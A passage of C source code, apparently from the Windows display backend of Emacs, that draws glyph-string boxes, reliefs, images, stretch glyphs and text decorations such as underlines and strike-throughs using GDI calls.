(*color)))); } if (new == *color) new = PALETTERGB (max (0, min (0xff, delta + GetRValue (*color))), max (0, min (0xff, delta + GetGValue (*color))), max (0, min (0xff, delta + GetBValue (*color)))); /* TODO: Map to palette and retry with delta if same? */ /* TODO: Free colors (if using palette)? */ if (new == *color) return 0; *color = new; return 1; } /* On frame F, translate pixel colors to RGB values for the NCOLORS colors in COLORS. On W32, we no longer try to map colors to a palette. */ static void w32_query_colors (struct frame *f, Emacs_Color *colors, int ncolors) { int i; for (i = 0; i < ncolors; i++) { DWORD pixel = colors[i].pixel; /* Convert to a 16 bit value in range 0 - 0xffff. */ colors[i].red = GetRValue (pixel) * 257; colors[i].green = GetGValue (pixel) * 257; colors[i].blue = GetBValue (pixel) * 257; } } /* Store F's background color into *BGCOLOR. */ void w32_query_frame_background_color (struct frame *f, Emacs_Color *bgcolor) { bgcolor->pixel = FRAME_BACKGROUND_PIXEL (f); w32_query_colors (f, bgcolor, 1); } /* Set up the foreground color for drawing relief lines of glyph string S. RELIEF is a pointer to a struct relief containing the GC with which lines will be drawn. Use a color that is FACTOR or DELTA lighter or darker than the relief's background which is found in S->f->output_data.x->relief_background. If such a color cannot be allocated, use DEFAULT_PIXEL, instead. */ static void w32_setup_relief_color (struct frame *f, struct relief *relief, double factor, int delta, COLORREF default_pixel) { Emacs_GC egc; struct w32_output *di = f->output_data.w32; unsigned long mask = GCForeground; COLORREF pixel; COLORREF background = di->relief_background; #if 0 struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (f); #endif /* TODO: Free colors (if using palette)? */ /* Allocate new color. */ egc.foreground = default_pixel; pixel = background; if (w32_alloc_lighter_color (f, &pixel, factor, delta)) egc.foreground = relief->pixel = pixel; if (relief->gc == 0) { #if 0 /* TODO: stipple */ egc.stipple = dpyinfo->gray; mask |= GCStipple; #endif relief->gc = XCreateGC (NULL, FRAME_W32_WINDOW (f), mask, &egc); } else XChangeGC (NULL, relief->gc, mask, &egc); } /* Set up colors for the relief lines around glyph string S. */ static void w32_setup_relief_colors (struct glyph_string *s) { struct w32_output *di = s->f->output_data.w32; COLORREF color; if (s->face->use_box_color_for_shadows_p) color = s->face->box_color; else if (s->first_glyph->type == IMAGE_GLYPH && s->img->pixmap && !IMAGE_BACKGROUND_TRANSPARENT (s->img, s->f, 0)) color = IMAGE_BACKGROUND (s->img, s->f, 0); else color = s->gc->background; if (di->white_relief.gc == 0 || color != di->relief_background) { di->relief_background = color; w32_setup_relief_color (s->f, &di->white_relief, 1.2, 0x8000, WHITE_PIX_DEFAULT (s->f)); w32_setup_relief_color (s->f, &di->black_relief, 0.6, 0x4000, BLACK_PIX_DEFAULT (s->f)); } } /* Draw a relief on frame F inside the rectangle given by LEFT_X, TOP_Y, RIGHT_X, and BOTTOM_Y. WIDTH is the thickness of the relief to draw, it must be >= 0. RAISED_P non-zero means draw a raised relief. LEFT_P non-zero means draw a relief on the left side of the rectangle. RIGHT_P non-zero means draw a relief on the right side of the rectangle. CLIP_RECT is the clipping rectangle to use when drawing. */ static void w32_draw_relief_rect (struct frame *f, int left_x, int top_y, int right_x, int bottom_y, int hwidth, int vwidth, int raised_p, int top_p, int bot_p, int left_p, int right_p, RECT *clip_rect) { int i; Emacs_GC gc; HDC hdc = get_frame_dc (f); if (raised_p) gc.foreground = f->output_data.w32->white_relief.gc->foreground; else gc.foreground = f->output_data.w32->black_relief.gc->foreground; w32_set_clip_rectangle (hdc, clip_rect); /* Top. */ if (top_p) for (i = 0; i < hwidth; ++i) w32_fill_area (f, hdc, gc.foreground, left_x + i * left_p, top_y + i, right_x - left_x - i * (left_p + right_p ) + 1, 1); /* Left. */ if (left_p) for (i = 0; i < vwidth; ++i) w32_fill_area (f, hdc, gc.foreground, left_x + i, top_y + (i + 1) * top_p, 1, bottom_y - top_y - (i + 1) * (bot_p + top_p) + 1); if (raised_p) gc.foreground = f->output_data.w32->black_relief.gc->foreground; else gc.foreground = f->output_data.w32->white_relief.gc->foreground; /* Bottom. */ if (bot_p) for (i = 0; i < hwidth; ++i) w32_fill_area (f, hdc, gc.foreground, left_x + i * left_p, bottom_y - i, right_x - left_x - i * (left_p + right_p) + 1, 1); /* Right. */ if (right_p) for (i = 0; i < vwidth; ++i) w32_fill_area (f, hdc, gc.foreground, right_x - i, top_y + (i + 1) * top_p, 1, bottom_y - top_y - (i + 1) * (bot_p + top_p) + 1); w32_set_clip_rectangle (hdc, NULL); release_frame_dc (f, hdc); } /* Draw a box on frame F inside the rectangle given by LEFT_X, TOP_Y, RIGHT_X, and BOTTOM_Y. WIDTH is the thickness of the lines to draw, it must be >= 0. LEFT_P non-zero means draw a line on the left side of the rectangle. RIGHT_P non-zero means draw a line on the right side of the rectangle. CLIP_RECT is the clipping rectangle to use when drawing. */ static void w32_draw_box_rect (struct glyph_string *s, int left_x, int top_y, int right_x, int bottom_y, int hwidth, int vwidth, bool left_p, bool right_p, RECT *clip_rect) { w32_set_clip_rectangle (s->hdc, clip_rect); /* Top. */ w32_fill_area (s->f, s->hdc, s->face->box_color, left_x, top_y, right_x - left_x + 1, hwidth); /* Left. */ if (left_p) { w32_fill_area (s->f, s->hdc, s->face->box_color, left_x, top_y, vwidth, bottom_y - top_y + 1); } /* Bottom. */ w32_fill_area (s->f, s->hdc, s->face->box_color, left_x, bottom_y - hwidth + 1, right_x - left_x + 1, hwidth); /* Right. */ if (right_p) { w32_fill_area (s->f, s->hdc, s->face->box_color, right_x - vwidth + 1, top_y, vwidth, bottom_y - top_y + 1); } w32_set_clip_rectangle (s->hdc, NULL); } /* Draw a box around glyph string S. */ static void w32_draw_glyph_string_box (struct glyph_string *s) { int hwidth, vwidth, left_x, right_x, top_y, bottom_y, last_x; bool left_p, right_p, raised_p; struct glyph *last_glyph; RECT clip_rect; last_x = ((s->row->full_width_p && !s->w->pseudo_window_p) ? WINDOW_RIGHT_EDGE_X (s->w) : window_box_right (s->w, s->area)); /* The glyph that may have a right box line. For static compositions and images, the right-box flag is on the first glyph of the glyph string; for other types it's on the last glyph. */ if (s->cmp || s->img) last_glyph = s->first_glyph; else if (s->first_glyph->type == COMPOSITE_GLYPH && s->first_glyph->u.cmp.automatic) { /* For automatic compositions, we need to look up the last glyph in the composition. */ struct glyph *end = s->row->glyphs[s->area] + s->row->used[s->area]; struct glyph *g = s->first_glyph; for (last_glyph = g++; g < end && g->u.cmp.automatic && g->u.cmp.id == s->cmp_id && g->slice.cmp.to < s->cmp_to; last_glyph = g++) ; } else last_glyph = s->first_glyph + s->nchars - 1; vwidth = eabs (s->face->box_vertical_line_width); hwidth = eabs (s->face->box_horizontal_line_width); raised_p = s->face->box == FACE_RAISED_BOX; left_x = s->x; right_x = ((s->row->full_width_p && s->extends_to_end_of_line_p ? last_x - 1 : min (last_x, s->x + s->background_width) - 1)); top_y = s->y; bottom_y = top_y + s->height - 1; left_p = (s->first_glyph->left_box_line_p || (s->hl == DRAW_MOUSE_FACE && (s->prev == NULL || s->prev->hl != s->hl))); right_p = (last_glyph->right_box_line_p || (s->hl == DRAW_MOUSE_FACE && (s->next == NULL || s->next->hl != s->hl))); get_glyph_string_clip_rect (s, &clip_rect); if (s->face->box == FACE_SIMPLE_BOX) w32_draw_box_rect (s, left_x, top_y, right_x, bottom_y, hwidth, vwidth, left_p, right_p, &clip_rect); else { w32_setup_relief_colors (s); w32_draw_relief_rect (s->f, left_x, top_y, right_x, bottom_y, hwidth, vwidth, raised_p, 1, 1, left_p, right_p, &clip_rect); } } bool w32_image_rotations_p (void) { return pfnPlgBlt != NULL; } static POINT transform (int x0, int y0, int x, int y, XFORM *xform) { POINT pt; /* See https://docs.microsoft.com/en-us/windows/desktop/api/Wingdi/nf-wingdi-setworldtransform */ pt.x = x0 + (x - x0) * xform->eM11 + (y - y0) * xform->eM21 + xform->eDx + 0.5f; pt.y = y0 + (x - x0) * xform->eM12 + (y - y0) * xform->eM22 + xform->eDy + 0.5f; return pt; } /* Draw foreground of image glyph string S. */ static void w32_draw_image_foreground (struct glyph_string *s) { int x = s->x; int y = s->ybase - image_ascent (s->img, s->face, &s->slice); /* If first glyph of S has a left box line, start drawing it to the right of that line. */ if (s->face->box != FACE_NO_BOX && s->first_glyph->left_box_line_p && s->slice.x == 0) x += max (s->face->box_vertical_line_width, 0); /* If there is a margin around the image, adjust x- and y-position by that margin. */ if (s->slice.x == 0) x += s->img->hmargin; if (s->slice.y == 0) y += s->img->vmargin; SaveDC (s->hdc); if (s->img->pixmap) { HDC compat_hdc = CreateCompatibleDC (s->hdc); HBRUSH fg_brush = CreateSolidBrush (s->gc->foreground); HBRUSH orig_brush = SelectObject (s->hdc, fg_brush); HGDIOBJ orig_obj = SelectObject (compat_hdc, s->img->pixmap); LONG orig_width, orig_height; DIBSECTION dib; SetBkColor (compat_hdc, RGB (255, 255, 255)); SetTextColor (s->hdc, RGB (0, 0, 0)); w32_set_glyph_string_clipping (s); /* Extract the original dimensions of the bitmap. */ if (GetObject (s->img->pixmap, sizeof (dib), &dib) > 0) { BITMAP bmp = dib.dsBm; orig_width = bmp.bmWidth; orig_height = bmp.bmHeight; } else { DebPrint (("w32_draw_image_foreground: GetObject(pixmap) failed!\n")); orig_width = s->slice.width; orig_height = s->slice.height; } double w_factor = 1.0, h_factor = 1.0; bool scaled = false, need_xform = false; int orig_slice_width = s->slice.width, orig_slice_height = s->slice.height; int orig_slice_x = s->slice.x, orig_slice_y = s->slice.y; POINT corner[3]; if ((s->img->xform.eM12 != 0 || s->img->xform.eM21 != 0 || s->img->xform.eDx != 0 || s->img->xform.eDy != 0) /* PlgBlt is not available on Windows 9X. */ && pfnPlgBlt) { need_xform = true; corner[0] = transform (x, y, x, y, &s->img->xform); corner[1] = transform (x, y, x + orig_width, y, &s->img->xform); corner[2] = transform (x, y, x, y + orig_height, &s->img->xform); } else if (s->img->width != orig_width || s->img->height != orig_height) { /* For scaled images we need to restore the original slice's dimensions and origin coordinates, from before the scaling. */ scaled = true; w_factor = (double) orig_width / (double) s->img->width; h_factor = (double) orig_height / (double) s->img->height; orig_slice_width = s->slice.width * w_factor + 0.5; orig_slice_height = s->slice.height * h_factor + 0.5; orig_slice_x = s->slice.x * w_factor + 0.5; orig_slice_y = s->slice.y * h_factor + 0.5; } if (s->img->mask) { HDC mask_dc = CreateCompatibleDC (s->hdc); HGDIOBJ mask_orig_obj = SelectObject (mask_dc, s->img->mask); SetTextColor (s->hdc, RGB (255, 255, 255)); SetBkColor (s->hdc, RGB (0, 0, 0)); if (need_xform) { if (!pfnPlgBlt (s->hdc, corner, compat_hdc, s->slice.x, s->slice.y, orig_width, orig_height, s->img->mask, s->slice.x, s->slice.y)) DebPrint (("PlgBlt failed!")); } else if (!scaled) { BitBlt (s->hdc, x, y, s->slice.width, s->slice.height, compat_hdc, s->slice.x, s->slice.y, SRCINVERT); BitBlt (s->hdc, x, y, s->slice.width, s->slice.height, mask_dc, s->slice.x, s->slice.y, SRCAND); BitBlt (s->hdc, x, y, s->slice.width, s->slice.height, compat_hdc, s->slice.x, s->slice.y, SRCINVERT); } else { int pmode = 0; /* HALFTONE produces better results, especially when scaling to a larger size, but Windows 9X doesn't support HALFTONE. */ if (os_subtype == OS_SUBTYPE_NT && (pmode = SetStretchBltMode (s->hdc, HALFTONE)) != 0) SetBrushOrgEx (s->hdc, 0, 0, NULL); StretchBlt (s->hdc, x, y, s->slice.width, s->slice.height, compat_hdc, orig_slice_x, orig_slice_y, orig_slice_width, orig_slice_height, SRCINVERT); StretchBlt (s->hdc, x, y, s->slice.width, s->slice.height, mask_dc, orig_slice_x, orig_slice_y, orig_slice_width, orig_slice_height, SRCAND); StretchBlt (s->hdc, x, y, s->slice.width, s->slice.height, compat_hdc, orig_slice_x, orig_slice_y, orig_slice_width, orig_slice_height, SRCINVERT); if (pmode) SetStretchBltMode (s->hdc, pmode); } SelectObject (mask_dc, mask_orig_obj); DeleteDC (mask_dc); } else { SetTextColor (s->hdc, s->gc->foreground); SetBkColor (s->hdc, s->gc->background); if (need_xform) { if (!pfnPlgBlt (s->hdc, corner, compat_hdc, s->slice.x, s->slice.y, orig_width, orig_height, NULL, 0, 0)) DebPrint (("PlgBlt failed!")); } else if (!scaled) BitBlt (s->hdc, x, y, s->slice.width, s->slice.height, compat_hdc, s->slice.x, s->slice.y, SRCCOPY); else { int pmode = 0; /* Windows 9X doesn't support HALFTONE. */ if (os_subtype == OS_SUBTYPE_NT && (pmode = SetStretchBltMode (s->hdc, HALFTONE)) != 0) SetBrushOrgEx (s->hdc, 0, 0, NULL); StretchBlt (s->hdc, x, y, s->slice.width, s->slice.height, compat_hdc, orig_slice_x, orig_slice_y, orig_slice_width, orig_slice_height, SRCCOPY); if (pmode) SetStretchBltMode (s->hdc, pmode); } /* When the image has a mask, we can expect that at least part of a mouse highlight or a block cursor will be visible. If the image doesn't have a mask, make a block cursor visible by drawing a rectangle around the image. I believe it's looking better if we do nothing here for mouse-face. */ if (s->hl == DRAW_CURSOR) { int r = s->img->relief; if (r < 0) r = -r; w32_draw_rectangle (s->hdc, s->gc, x - r, y - r , s->slice.width + r*2 - 1, s->slice.height + r*2 - 1); } } w32_set_clip_rectangle (s->hdc, NULL); SelectObject (s->hdc, orig_brush); DeleteObject (fg_brush); SelectObject (compat_hdc, orig_obj); DeleteDC (compat_hdc); } else w32_draw_rectangle (s->hdc, s->gc, x, y, s->slice.width - 1, s->slice.height - 1); RestoreDC (s->hdc ,-1); } size_t w32_image_size (Emacs_Pixmap pixmap) { BITMAP bm_info; size_t rv = 0; if (GetObject (pixmap, sizeof (BITMAP), &bm_info)) rv = bm_info.bmWidth * bm_info.bmHeight * bm_info.bmBitsPixel / 8; return rv; } /* Draw a relief around the image glyph string S. */ static void w32_draw_image_relief (struct glyph_string *s) { int x1, y1, thick, raised_p, top_p, bot_p, left_p, right_p; int extra_x, extra_y; RECT r; int x = s->x; int y = s->ybase - image_ascent (s->img, s->face, &s->slice); /* If first glyph of S has a left box line, start drawing it to the right of that line. */ if (s->face->box != FACE_NO_BOX && s->first_glyph->left_box_line_p && s->slice.x == 0) x += max (s->face->box_vertical_line_width, 0); /* If there is a margin around the image, adjust x- and y-position by that margin. */ if (s->slice.x == 0) x += s->img->hmargin; if (s->slice.y == 0) y += s->img->vmargin; if (s->hl == DRAW_IMAGE_SUNKEN || s->hl == DRAW_IMAGE_RAISED) { if (s->face->id == TAB_BAR_FACE_ID) thick = (tab_bar_button_relief < 0 ? DEFAULT_TAB_BAR_BUTTON_RELIEF : min (tab_bar_button_relief, 1000000)); else thick = (tool_bar_button_relief < 0 ? DEFAULT_TOOL_BAR_BUTTON_RELIEF : min (tool_bar_button_relief, 1000000)); raised_p = s->hl == DRAW_IMAGE_RAISED; } else { thick = eabs (s->img->relief); raised_p = s->img->relief > 0; } x1 = x + s->slice.width - 1; y1 = y + s->slice.height - 1; extra_x = extra_y = 0; if (s->face->id == TAB_BAR_FACE_ID) { if (CONSP (Vtab_bar_button_margin) && FIXNUMP (XCAR (Vtab_bar_button_margin)) && FIXNUMP (XCDR (Vtab_bar_button_margin))) { extra_x = XFIXNUM (XCAR (Vtab_bar_button_margin)) - thick; extra_y = XFIXNUM (XCDR (Vtab_bar_button_margin)) - thick; } else if (FIXNUMP (Vtab_bar_button_margin)) extra_x = extra_y = XFIXNUM (Vtab_bar_button_margin) - thick; } if (s->face->id == TOOL_BAR_FACE_ID) { if (CONSP (Vtool_bar_button_margin) && FIXNUMP (XCAR (Vtool_bar_button_margin)) && FIXNUMP (XCDR (Vtool_bar_button_margin))) { extra_x = XFIXNUM (XCAR (Vtool_bar_button_margin)); extra_y = XFIXNUM (XCDR (Vtool_bar_button_margin)); } else if (FIXNUMP (Vtool_bar_button_margin)) extra_x = extra_y = XFIXNUM (Vtool_bar_button_margin); } top_p = bot_p = left_p = right_p = 0; if (s->slice.x == 0) x -= thick + extra_x, left_p = 1; if (s->slice.y == 0) y -= thick + extra_y, top_p = 1; if (s->slice.x + s->slice.width == s->img->width) x1 += thick + extra_x, right_p = 1; if (s->slice.y + s->slice.height == s->img->height) y1 += thick + extra_y, bot_p = 1; w32_setup_relief_colors (s); get_glyph_string_clip_rect (s, &r); w32_draw_relief_rect (s->f, x, y, x1, y1, thick, thick, raised_p, top_p, bot_p, left_p, right_p, &r); } /* Draw the foreground of image glyph string S to PIXMAP. */ static void w32_draw_image_foreground_1 (struct glyph_string *s, HBITMAP pixmap) { HDC hdc = CreateCompatibleDC (s->hdc); HGDIOBJ orig_hdc_obj = SelectObject (hdc, pixmap); int x = 0; int y = s->ybase - s->y - image_ascent (s->img, s->face, &s->slice); /* If first glyph of S has a left box line, start drawing it to the right of that line. */ if (s->face->box != FACE_NO_BOX && s->first_glyph->left_box_line_p && s->slice.x == 0) x += max (s->face->box_vertical_line_width, 0); /* If there is a margin around the image, adjust x- and y-position by that margin. */ if (s->slice.x == 0) x += s->img->hmargin; if (s->slice.y == 0) y += s->img->vmargin; /* FIXME (maybe): The below doesn't support image scaling. But it seems to never be called, because the conditions for its call in w32_draw_image_glyph_string are never fulfilled (they will be if the #ifdef'ed away part of that function is ever activated). */ if (s->img->pixmap) { HDC compat_hdc = CreateCompatibleDC (hdc); HBRUSH fg_brush = CreateSolidBrush (s->gc->foreground); HBRUSH orig_brush = SelectObject (hdc, fg_brush); HGDIOBJ orig_obj = SelectObject (compat_hdc, s->img->pixmap); if (s->img->mask) { HDC mask_dc = CreateCompatibleDC (hdc); HGDIOBJ mask_orig_obj = SelectObject (mask_dc, s->img->mask); SetTextColor (hdc, RGB (0, 0, 0)); SetBkColor (hdc, RGB (255, 255, 255)); BitBlt (hdc, x, y, s->slice.width, s->slice.height, compat_hdc, s->slice.x, s->slice.y, SRCINVERT); BitBlt (hdc, x, y, s->slice.width, s->slice.height, mask_dc, s->slice.x, s->slice.y, SRCAND); BitBlt (hdc, x, y, s->slice.width, s->slice.height, compat_hdc, s->slice.x, s->slice.y, SRCINVERT); SelectObject (mask_dc, mask_orig_obj); DeleteDC (mask_dc); } else { SetTextColor (hdc, s->gc->foreground); SetBkColor (hdc, s->gc->background); BitBlt (hdc, x, y, s->slice.width, s->slice.height, compat_hdc, s->slice.x, s->slice.y, SRCCOPY); /* When the image has a mask, we can expect that at least part of a mouse highlight or a block cursor will be visible. If the image doesn't have a mask, make a block cursor visible by drawing a rectangle around the image. I believe it's looking better if we do nothing here for mouse-face. */ if (s->hl == DRAW_CURSOR) { int r = s->img->relief; if (r < 0) r = -r; w32_draw_rectangle (hdc, s->gc, x - r, y - r, s->slice.width + r*2 - 1, s->slice.height + r*2 - 1); } } SelectObject (hdc, orig_brush); DeleteObject (fg_brush); SelectObject (compat_hdc, orig_obj); DeleteDC (compat_hdc); } else w32_draw_rectangle (hdc, s->gc, x, y, s->slice.width - 1, s->slice.height - 1); SelectObject (hdc, orig_hdc_obj); DeleteDC (hdc); } /* Draw part of the background of glyph string S. X, Y, W, and H give the rectangle to draw. */ static void w32_draw_glyph_string_bg_rect (struct glyph_string *s, int x, int y, int w, int h) { #if 0 /* TODO: stipple */ if (s->stippled_p) { /* Fill background with a stipple pattern. */ XSetFillStyle (s->display, s->gc, FillOpaqueStippled); XFillRectangle (s->display, FRAME_W32_WINDOW (s->f), s->gc, x, y, w, h); XSetFillStyle (s->display, s->gc, FillSolid); } else #endif w32_clear_glyph_string_rect (s, x, y, w, h); } /* Draw image glyph string S. s->y s->x +------------------------- | s->face->box | | +------------------------- | | s->img->vmargin | | | | +------------------- | | | the image */ static void w32_draw_image_glyph_string (struct glyph_string *s) { int x, y; int box_line_hwidth = max (s->face->box_vertical_line_width, 0); int box_line_vwidth = max (s->face->box_horizontal_line_width, 0); int height, width; HBITMAP pixmap = 0; height = s->height; if (s->slice.y == 0) height -= box_line_vwidth; if (s->slice.y + s->slice.height >= s->img->height) height -= box_line_vwidth; /* Fill background with face under the image. Do it only if row is taller than image or if image has a clip mask to reduce flickering. */ s->stippled_p = s->face->stipple != 0; if (height > s->slice.height || s->img->hmargin || s->img->vmargin || s->img->mask || s->img->pixmap == 0 || s->width != s->background_width) { width = s->background_width; x = s->x; if (s->first_glyph->left_box_line_p && s->slice.x == 0) { x += box_line_hwidth; width -= box_line_hwidth; } y = s->y; if (s->slice.y == 0) y += box_line_vwidth; #if 0 /* TODO: figure out if we need to do this on Windows. */ if (s->img->mask) { /* Create a pixmap as large as the glyph string. Fill it with the background color. Copy the image to it, using its mask. Copy the temporary pixmap to the display. */ Screen *screen = FRAME_X_SCREEN (s->f); int depth = DefaultDepthOfScreen (screen); /* Create a pixmap as large as the glyph string. */ pixmap = XCreatePixmap (s->display, FRAME_W32_WINDOW (s->f), s->background_width, s->height, depth); /* Don't clip in the following because we're working on the pixmap. */ XSetClipMask (s->display, s->gc, None); /* Fill the pixmap with the background color/stipple. */ if (s->stippled_p) { /* Fill background with a stipple pattern. */ XSetFillStyle (s->display, s->gc, FillOpaqueStippled); XFillRectangle (s->display, pixmap, s->gc, 0, 0, s->background_width, s->height); XSetFillStyle (s->display, s->gc, FillSolid); } else { XGCValues xgcv; XGetGCValues (s->display, s->gc, GCForeground | GCBackground, &xgcv); XSetForeground (s->display, s->gc, xgcv.background); XFillRectangle (s->display, pixmap, s->gc, 0, 0, s->background_width, s->height); XSetForeground (s->display, s->gc, xgcv.foreground); } } else #endif w32_draw_glyph_string_bg_rect (s, x, y, width, height); s->background_filled_p = true; } /* Draw the foreground. */ if (pixmap != 0) { w32_draw_image_foreground_1 (s, pixmap); w32_set_glyph_string_clipping (s); { HDC compat_hdc = CreateCompatibleDC (s->hdc); HBRUSH fg_brush = CreateSolidBrush (s->gc->foreground); HBRUSH orig_brush = SelectObject (s->hdc, fg_brush); HGDIOBJ orig_obj = SelectObject (compat_hdc, pixmap); SetTextColor (s->hdc, s->gc->foreground); SetBkColor (s->hdc, s->gc->background); BitBlt (s->hdc, s->x, s->y, s->background_width, s->height, compat_hdc, 0, 0, SRCCOPY); SelectObject (s->hdc, orig_brush); DeleteObject (fg_brush); SelectObject (compat_hdc, orig_obj); DeleteDC (compat_hdc); } DeleteObject (pixmap); pixmap = 0; } else w32_draw_image_foreground (s); /* If we must draw a relief around the image, do it. */ if (s->img->relief || s->hl == DRAW_IMAGE_RAISED || s->hl == DRAW_IMAGE_SUNKEN) w32_draw_image_relief (s); } /* Draw stretch glyph string S. */ static void w32_draw_stretch_glyph_string (struct glyph_string *s) { eassert (s->first_glyph->type == STRETCH_GLYPH); if (s->hl == DRAW_CURSOR && !x_stretch_cursor_p) { /* If `x-stretch-cursor' is nil, don't draw a block cursor as wide as the stretch glyph. */ int width, background_width = s->background_width; int x = s->x; if (!s->row->reversed_p) { int left_x = window_box_left_offset (s->w, TEXT_AREA); if (x < left_x) { background_width -= left_x - x; x = left_x; } } else { /* In R2L rows, draw the cursor on the right edge of the stretch glyph. */ int right_x = window_box_right (s->w, TEXT_AREA); if (x + background_width > right_x) background_width -= x - right_x; x += background_width; } width = min (FRAME_COLUMN_WIDTH (s->f), background_width); if (s->row->reversed_p) x -= width; /* Draw cursor. */ w32_draw_glyph_string_bg_rect (s, x, s->y, width, s->height); /* Clear rest using the GC of the original non-cursor face. */ if (width < background_width) { Emacs_GC *gc = s->face->gc; int y = s->y; int w = background_width - width, h = s->height; RECT r; HDC hdc = s->hdc; if (!s->row->reversed_p) x += width; else x = s->x; if (s->row->mouse_face_p && cursor_in_mouse_face_p (s->w)) { w32_set_mouse_face_gc (s); gc = s->gc; } else gc = s->face->gc; get_glyph_string_clip_rect (s, &r); w32_set_clip_rectangle (hdc, &r); #if 0 /* TODO: stipple */ if (s->face->stipple) { /* Fill background with a stipple pattern. */ XSetFillStyle (s->display, gc, FillOpaqueStippled); XFillRectangle (s->display, FRAME_W32_WINDOW (s->f), gc, x, y, w, h); XSetFillStyle (s->display, gc, FillSolid); } else #endif { w32_fill_area (s->f, s->hdc, gc->background, x, y, w, h); } } } else if (!s->background_filled_p) { int background_width = s->background_width; int x = s->x, text_left_x = window_box_left (s->w, TEXT_AREA); /* Don't draw into left fringe or scrollbar area except for header line and mode line. */ if (s->area == TEXT_AREA && x < text_left_x && !s->row->mode_line_p) { background_width -= text_left_x - x; x = text_left_x; } if (background_width > 0) w32_draw_glyph_string_bg_rect (s, x, s->y, background_width, s->height); } s->background_filled_p = true; } /* Draw glyph string S. */ static void w32_draw_glyph_string (struct glyph_string *s) { bool relief_drawn_p = 0; /* If S draws into the background of its successor, draw the background of the successor first so that S can draw into it. This makes S->next use XDrawString instead of XDrawImageString. */ if (s->next && s->right_overhang && !s->for_overlaps) { int width; struct glyph_string *next; for (width = 0, next = s->next; next && width < s->right_overhang; width += next->width, next = next->next) if (next->first_glyph->type != IMAGE_GLYPH) { w32_set_glyph_string_gc (next); w32_set_glyph_string_clipping (next); if (next->first_glyph->type == STRETCH_GLYPH) w32_draw_stretch_glyph_string (next); else w32_draw_glyph_string_background (next, true); next->num_clips = 0; } } /* Set up S->gc, set clipping and draw S. */ w32_set_glyph_string_gc (s); /* Draw relief (if any) in advance for char/composition so that the glyph string can be drawn over it. */ if (!s->for_overlaps && s->face->box != FACE_NO_BOX && (s->first_glyph->type == CHAR_GLYPH || s->first_glyph->type == COMPOSITE_GLYPH)) { w32_set_glyph_string_clipping (s); w32_draw_glyph_string_background (s, true); w32_draw_glyph_string_box (s); w32_set_glyph_string_clipping (s); relief_drawn_p = 1; } else if (!s->clip_head /* draw_glyphs didn't specify a clip mask. */ && !s->clip_tail && ((s->prev && s->prev->hl != s->hl && s->left_overhang) || (s->next && s->next->hl != s->hl && s->right_overhang))) /* We must clip just this glyph. left_overhang part has already drawn when s->prev was drawn, and right_overhang part will be drawn later when s->next is drawn. */ w32_set_glyph_string_clipping_exactly (s, s); else w32_set_glyph_string_clipping (s); switch (s->first_glyph->type) { case IMAGE_GLYPH: w32_draw_image_glyph_string (s); break; case STRETCH_GLYPH: w32_draw_stretch_glyph_string (s); break; case CHAR_GLYPH: if (s->for_overlaps) s->background_filled_p = true; else w32_draw_glyph_string_background (s, false); w32_draw_glyph_string_foreground (s); break; case COMPOSITE_GLYPH: if (s->for_overlaps || (s->cmp_from > 0 && ! s->first_glyph->u.cmp.automatic)) s->background_filled_p = true; else w32_draw_glyph_string_background (s, true); w32_draw_composite_glyph_string_foreground (s); break; case GLYPHLESS_GLYPH: if (s->for_overlaps) s->background_filled_p = true; else w32_draw_glyph_string_background (s, false); w32_draw_glyphless_glyph_string_foreground (s); break; default: emacs_abort (); } if (!s->for_overlaps) { /* Draw relief if not yet drawn. */ if (!relief_drawn_p && s->face->box != FACE_NO_BOX) w32_draw_glyph_string_box (s); /* Draw underline. */ if (s->face->underline) { if (s->face->underline == FACE_UNDER_WAVE) { COLORREF color; if (s->face->underline_defaulted_p) color = s->gc->foreground; else color = s->face->underline_color; w32_draw_underwave (s, color); } else if (s->face->underline == FACE_UNDER_LINE) { unsigned long thickness, position; int y; if (s->prev && s->prev->face->underline == FACE_UNDER_LINE) { /* We use the same underline style as the previous one. */ thickness = s->prev->underline_thickness; position = s->prev->underline_position; } else { struct font *font = font_for_underline_metrics (s); unsigned long minimum_offset; BOOL underline_at_descent_line; BOOL use_underline_position_properties; Lisp_Object val = (WINDOW_BUFFER_LOCAL_VALUE (Qunderline_minimum_offset, s->w)); if (FIXNUMP (val)) minimum_offset = max (0, XFIXNUM (val)); else minimum_offset = 1; val = (WINDOW_BUFFER_LOCAL_VALUE (Qx_underline_at_descent_line, s->w)); underline_at_descent_line = !(NILP (val) || EQ (val, Qunbound)); val = (WINDOW_BUFFER_LOCAL_VALUE (Qx_use_underline_position_properties, s->w)); use_underline_position_properties = !(NILP (val) || EQ (val, Qunbound)); /* Get the underline thickness. Default is 1 pixel. */ if (font && font->underline_thickness > 0) thickness = font->underline_thickness; else thickness = 1; if (underline_at_descent_line || !font) position = (s->height - thickness) - (s->ybase - s->y); else { /* Get the underline position. This is the recommended vertical offset in pixels from the baseline to the top of the underline. This is a signed value according to the specs, and its default is ROUND ((maximum_descent) / 2), with ROUND (x) = floor (x + 0.5) */ if (use_underline_position_properties && font->underline_position >= 0) position = font->underline_position; else position = (font->descent + 1) / 2; } position = max (position, minimum_offset); } /* Check the sanity of thickness and position. We should avoid drawing underline out of the current line area. */ if (s->y + s->height <= s->ybase + position) position = (s->height - 1) - (s->ybase - s->y); if (s->y + s->height < s->ybase + position + thickness) thickness = (s->y + s->height) - (s->ybase + position); s->underline_thickness = thickness; s->underline_position = position; y = s->ybase + position; if (s->face->underline_defaulted_p) { w32_fill_area (s->f, s->hdc, s->gc->foreground, s->x, y, s->width, 1); } else { w32_fill_area (s->f, s->hdc, s->face->underline_color, s->x, y, s->width, 1); } } } /* Draw overline. */ if (s->face->overline_p) { unsigned long dy = 0, h = 1; if (s->face->overline_color_defaulted_p) { w32_fill_area (s->f, s->hdc, s->gc->foreground, s->x, s->y + dy, s->width, h); } else { w32_fill_area (s->f, s->hdc, s->face->overline_color, s->x, s->y + dy, s->width, h); } } /* Draw strike-through. */ if (s->face->strike_through_p && !FONT_TEXTMETRIC (s->font).tmStruckOut) { /* Y-coordinate and height of the glyph string's first glyph. We cannot use s->y and s->height because those could be larger if there are taller display elements (e.g., characters displayed with a larger font) in the same glyph row. */ int glyph_y = s->ybase - s->first_glyph->ascent; int glyph_height = s->first_glyph->ascent + s->first_glyph->descent; /* Strike-through width and offset from the glyph string's top edge. */ unsigned long h = 1; unsigned long dy = (glyph_height - h) / 2; if (s->face->strike_through_color_defaulted_p) { w32_fill_area (s->f, s->hdc, s->gc->foreground, s->x, glyph_y + dy, s->width, h); } else { w32_fill_area (s->f, s->hdc, s->face->strike_through_color, s->x, glyph_y + dy, s->width, h); } } if (s->prev) { struct 